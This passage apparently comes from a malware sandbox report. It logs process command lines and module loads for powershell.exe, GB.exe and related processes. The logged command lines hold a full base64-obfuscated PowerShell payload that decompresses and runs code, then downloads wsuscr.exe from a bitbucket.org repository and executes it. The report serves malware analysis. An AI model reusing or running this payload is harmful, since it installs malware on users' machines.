A2ACwAMgAwACwAMQA3ADUALAAxADMAOAAsADYANgAsADIAMAAwACwAMgAzADEALAAxADQANwAsADIAMAAyACwAMQAwADQALAA4ADYALAAxADIANwAsADIAMQA2ACwAMQAyADUALAAxADYANQAsADkANAAsADkAMgAsADEAOAA0ACwAMwAxACwAMwA4ACwANAAzACwANwA5ACwANAA1ACwAMQA2ADMALAAxADYANgAsADEAMAAyACwAMQA3ADEALAAxADEANQAsADMANQAsADEANQA3ACwAMQAsADYALAAxADYAMwAsADEANgAxACwAMgAzADgALAAyADQAMQAsADIAMAA0ACwAMwAwACwAMQA0ADkALAAzADIALAA0ADAALAAxADUAMQAsADEANgA0ACwAMQA3ADYALAAxADQAMgAsADQALAAyADIALAA0ADEALAAxADkAMAAsADEANQAwACwAMgA0ADYALAAxADQANwAsADEAMgA1ACwAMQAyACwANgAwACwAOAA5ACwAMgA0ADUALAA2ADAALAAyADkALAA2ADEALAA3ADQALAAyADEAMQAsADUAMwAsADEANwA4ACwAMQA4ADgALAAyADQAMAAsADEANgA0ACwAMgA1ADMALAAyADEAMQAsADgAMQAsADEANwAxACwAOQA4ACwANQAyACwANAA5ACwAMQA0ADQALAAxADUAMAAsADIAMQA3ACwAMgA3ACwANAA2ACwAMQAzADIALAA1ADcALAA0ADQALAAxADkAMgAsADYANwAsADEANQAsADYAMgAsADIANAA3ACwAMQA1ADUALAA1ADkALAAzADgALAAxADUANQAsADkANwAsADIANQA0ACwAMQA5ADMALAAxADUANQAsADIAMgA0ACwAMgAxADgALAAxADEANgAsADEAMgAzACwAMQA5ADEALAAyADMANwAsADEAMQA3ACwAOQAyACwAMQAyADYALAAxADYAMwAsADEAMgA0ACwANQA4ACwAMgA0ADAALAAyADcALAAxADcAMAAsADEANAA3ACwAMgAyADEALAA3ADEALAAxADMAMAAsADEAMwAyACwANwA4ACwAMQA3ADgALAAzACwAMQAxADMALAA2ADkALAA5ACwAMQA1ACwAMQA1ADgALAA2ADgALAAxADkALAA3ADkALAAxADMAOQAsADUANQAsADUAMQAsADEAMQAxACwAOAA0ACwAOQAwACwAMgAwADUALAAxADIAOAAsADkANgAsADEAOAAxACwAMgA1ACwAMQA3ADAALAAxADAAOAAsADcANgAsADEALAA5ADIALAAxADcAMwAsADkAOQAsADMANgAsADEAMAA5ACwANwA2ACwANgAxACwAMQAzADAALAA3ADUALAA1ADMALAAxADYAMwAsADgAMwAsADkANgAsADcAOQAsADQAMgAsADgAOQAsADEAMwA0ACwANwA3ACwAOQAwACwANQAxACwANQAxACwAMgAwADcALAAxADkAMQAsADIAMwA4ACwAMgA0ACwANQA0ACwANgA3ACwAOAA1ACwAMgAxADgALAAyADUANQAsADIANQAwACwAMgAwADcALAAyADkALAAyADIAMQAsADEAMgAyACwAMgA1ADMALAAzACwANAAsADEANwA4ACwAMgA1ADMALAAxADcANAAsADEANgA0ACwAMQAsADAALAAwAAoAJABkAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAD0AIABHAGUAdAAtAEQAZQBjAG8AbQBwAHIAZQBzAHMAZQBkAEIAeQB0AGUAQQByAHIAYQB5ACAALQBiAHkAdABlAEEAcgByAGEAeQAgACQAYgB5AHQAZQBfAGEAcgByAGEAeQAKAAoAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAgACQAZABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIAApACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAKQAgAHwAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4ACgAKAAoAdwBnAGUAdAAgACIAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBvAGwAZQBnAG8AdgBpAGMAaAAtADAAMAA3AC8ANwA3ADcALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHcAcwB1AHMAYwByAC4AZQB4AGUAIgAgAC0AbwB1AHQAZgBpAGwAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB3AHMAdQBzAGMAcgAuAGUAeABlACIACgBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdwBzAHUAcwBjAHIALgBlAHgAZQAiAA==')) | Invoke-Expression"" (UID: 00000000-00002648)3b:T17a8,Process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBEAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAHsACgAKACAAIAAgACAAIAAgACAAIABbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKAApAF0ACgAgACAAIAAgAFAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQBCAHkAUAByAG8AcABlAHIAdAB5AE4AYQBtAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJAAoAFQAaAByAG8AdwAoACIALQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiACkAKQAKACAAIAAgACAAKQAKACAAIAAgACAAIAAgACAAIABQAHIAbwBjAGUAcwBzACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAFYAZQByAGIAbwBzAGUAIAAiAEcAZQB0AC0ARABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIgAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGcAegBpAHAAUwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAaQBuAHAAdQB0ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHoAaQBwAFMAdAByAGUAYQBtAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApAAoAIAAgACAAIAAgACAAIAAgACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAHAAdQB0AC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAE8AdQB0AEEAcgByAGEAeQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAGIAeQB0AGUATwB1AHQAQQByAHIAYQB5AAoAIAAgACAAIAB9AAoAfQAKAAoAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAF8AYQByAHIAYQB5ACAAPQAgADMAMQAsADEAMwA5ACwAOAAsADAALAAwACwAMAAsADAALAAwACwANAAsADAALAAxADQAOQAsADEANAA0ACwAMQA5ADMALAAxADEANAAsADEAMwAwACwANAA4ACwAMgAwACwANgA5ACwAMQAyADcALAA0ADEALAA5ADYALAAxADAAOQAsADEAOQA5ACwAMQAzADMALAAxADEALAA1ACwAMQA0ADYALAA5ACwAMwA1ACwAMQA3ADcALAAyACwAMQAyADUALAA5ACwAMQAxADEALAAxADAAMwAsADYANgAsADcALAAxADcAMQAsADEAMgA5ACwANAA2ACwANgA4ACwANwA3ACwAMgA0ADgALAAyADUAMAAsADcAMAAsADEAOAA2ACwAMgAzADkALAA3ADYALAAxADEAOQAsADEAMQAxACwAMQAxADMALAAyADMAMQAsADEANQA4ACwAMgA0ADMALAAxADcANAAsADIAMwAzACwAOQA3ACwAMgAyADQALAAxADQAMAAsADkANAAsADQAOAAsADIAMQA3ACwAMgA0ADIALAAxADMAOAAsADgALAA4ADAALAA4ADQALAAyADIAMAAsADEAMQAzACwANAAwACwAMgAzACwAMQA0ADEALAAyADAAMgAsADEANwAzACwAMgAwADIALAAxADkANgAsADEAOAAxACwAOAAxACwAOQA4ACwANgA2ACwAMwA3ACwAMgAwADQALAAxADcANAAsADkANQAsADEANAAxACwAMgA0ACwAMQA4ADUALAAyADUAMAAsADIAMAAwACwAMgAyADQALAAxADcAMAAsADEANgA5ACwAMQAyADMALAA1ADUALAAxADIALAAxADEAMAAsADEAMwA4ACwAMQAzADcALAAxADgANwAsADEANQAwACwAMgAwADkALAA3ADMALAAyADQANwAsADEAMwA1ACwAMQAxADAALAAyADMALAAzADEALAAxADgANgAsADEANQA2ACwAMgAwACwAMQA3ADUALAAxADMAOAAsADYANgAsADIAMAAwACwAMgAzADEALAAxADQANwAsADIAMAAyACwAMQAwADQALAA4ADYALAAxADIANwAsADIAMQA2ACwAMQAyADUALAAxADYANQAsADkANAAsADkAMgAsADEAOAA0ACwAMwAxACwAMwA4ACwANAAzACwANwA5ACwANAA1ACwAMQA2ADMALAAxADYANgAsADEAMAAyACwAMQA3ADEALAAxADEANQAsADMANQAsADEANQA3ACwAMQAsADYALAAxADYAMwAsADEANgAxACwAMgAzADgALAAyADQAMQAsADIAMAA0ACwAMwAwACwAMQA0ADkALAAzADIALAA0ADAALAAxADUAMQAsADEANgA0ACwAMQA3ADYALAAxADQAMgAsADQALAAyADIALAA0ADEALAAxADkAMAAsADEANQAwACwAMgA0ADYALAAxADQANwAsADEAMgA1ACwAMQAyACwANgAwACwAOAA5ACwAMgA0ADUALAA2ADAALAAyADkALAA2ADEALAA3ADQALAAyADEAMQAsADUAMwAsADEANwA4ACwAMQA4ADgALAAyADQAMAAsADEANgA0ACwAMgA1ADMALAAyADEAMQAsADgAMQAsADEANwAxACwAOQA4ACwANQAyACwANAA5ACwAMQA0ADQALAAxADUAMAAsADIAMQA3ACwAMgA3ACwANAA2ACwAMQAzADIALAA1ADcALAA0ADQALAAxADkAMgAsADYANwAsADEANQAsADYAMgAsADIANAA3ACwAMQA1ADUALAA1ADkALAAzADgALAAxADUANQAsADkANwAsADIANQA0ACwAMQA5ADMALAAxADUANQAsADIAMgA0ACwAMgAxADgALAAxADEANgAsADEAMgAzACwAMQA5ADEALAAyADMANwAsADEAMQA3ACwAOQAyACwAMQAyADYALAAxADYAMwAsADEAMgA0ACwANQA4ACwAMgA0ADAALAAyADcALAAxADcAMAAsADEANAA3ACwAMgAyADEALAA3ADEALAAxADMAMAAsADEAMwAyACwANwA4ACwAMQA3ADgALAAzACwAMQAxADMALAA2ADkALAA5ACwAMQA1ACwAMQA1ADgALAA2ADgALAAxADkALAA3ADkALAAxADMAOQAsADUANQAsADUAMQAsADEAMQAxACwAOAA0ACwAOQAwACwAMgAwADUALAAxADIAOAAsADkANgAsADEAOAAxACwAMgA1ACwAMQA3ADAALAAxADAAOAAsADcANgAsADEALAA5ADIALAAxADcAMwAsADkAOQAsADMANgAsADEAMAA5ACwANwA2ACwANgAxACwAMQAzADAALAA3ADUALAA1ADMALAAxADYAMwAsADgAMwAsADkANgAsADcAOQAsADQAMgAsADgAOQAsADEAMwA0ACwANwA3ACwAOQAwACwANQAxACwANQAxACwAMgAwADcALAAxADkAMQAsADIAMwA4ACwAMgA0ACwANQA0ACwANgA3ACwAOAA1ACwAMgAxADgALAAyADUANQAsADIANQAwACwAMgAwADcALAAyADkALAAyADIAMQAsADEAMgAyACwAMgA1ADMALAAzACwANAAsADEANwA4ACwAMgA1ADMALAAxADcANAAsADEANgA0ACwAMQAsADAALAAwAAoAJABkAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAD0AIABHAGUAdAAtAEQAZQBjAG8AbQBwAHIAZQBzAHMAZQBkAEIAeQB0AGUAQQByAHIAYQB5ACAALQBiAHkAdABlAEEAcgByAGEAeQAgACQAYgB5AHQAZQBfAGEAcgByAGEAeQAKAAoAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAgACQAZABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIAApACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAKQAgAHwAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4ACgAKAAoAdwBnAGUAdAAgACIAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBvAGwAZQBnAG8AdgBpAGMAaAAtADAAMAA3AC8ANwA3ADcALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHcAcwB1AHMAYwByAC4AZQB4AGUAIgAgAC0AbwB1AHQAZgBpAGwAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB3AHMAdQBzAGMAcgAuAGUAeABlACIACgBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdwBzAHUAcwBjAHIALgBlAHgAZQAiAA==')) | Invoke-Expression""3c:T150c,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "phoneinfo.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]3d:T5e8e,"GB.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "GB.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "GB.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "GB.exe" loaded module "KERNEL32" at base 88660000 "GB.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "GB.exe" loaded module "KERNEL32.DLL" at base 88660000 "GB.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 88a00000 "GB.exe" loaded module "FECLIENT.DLL" at base 671f0000 "GB.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 839a0000 "GB.exe" loaded module "COMCTL32.DLL" at base 75c30000 "GB.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 86be0000 "GB.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 66c20000 "GB.exe" loaded module "NTDLL.DLL" at base 89010000 "cmd.exe" loaded module "KERNEL32" at base 88660000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 85f80000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 85f80000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 85f80000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 86bb0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "cmd.exe" loaded module "KERNEL32.DLL" at base 88660000 "cmd.exe" loaded module "NTDLL.DLL" at base 89010000 "xcopy.exe" loaded module "KERNEL32" at base 88660000 "xcopy.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 85f80000 "xcopy.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 85f80000 "xcopy.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 85f80000 "xcopy.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 86bb0000 "xcopy.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "xcopy.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "xcopy.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "xcopy.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "xcopy.exe" loaded module "KERNEL32.DLL" at base 88660000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 85f80000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 85f80000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 85f80000 "powershell.exe" loaded module "KERNEL32" at base 88660000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 66c60000 "powershell.exe" loaded module "KERNEL32.DLL" at base 88660000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 88a00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 66b20000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 88940000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 853f0000 "powershell.exe" loaded module "VERSION.DLL" at base 80600000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 66050000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 85f80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 66bd0000 "powershell.exe" loaded module "NTDLL" at base 89010000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 88ab0000 "powershell.exe" loaded module "PSAPI.DLL" at base 88880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 5cd00000 "powershell.exe" loaded module "RPCRT4.DLL" at base 88ec0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 88510000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 88ab0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 86df0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 65300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 5c280000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 65250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 847a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 85f00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 5a210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 88ab0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 88ab0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 89010000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base ea670000 "powershell.exe" loaded module "USER32.DLL" at base 88380000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module 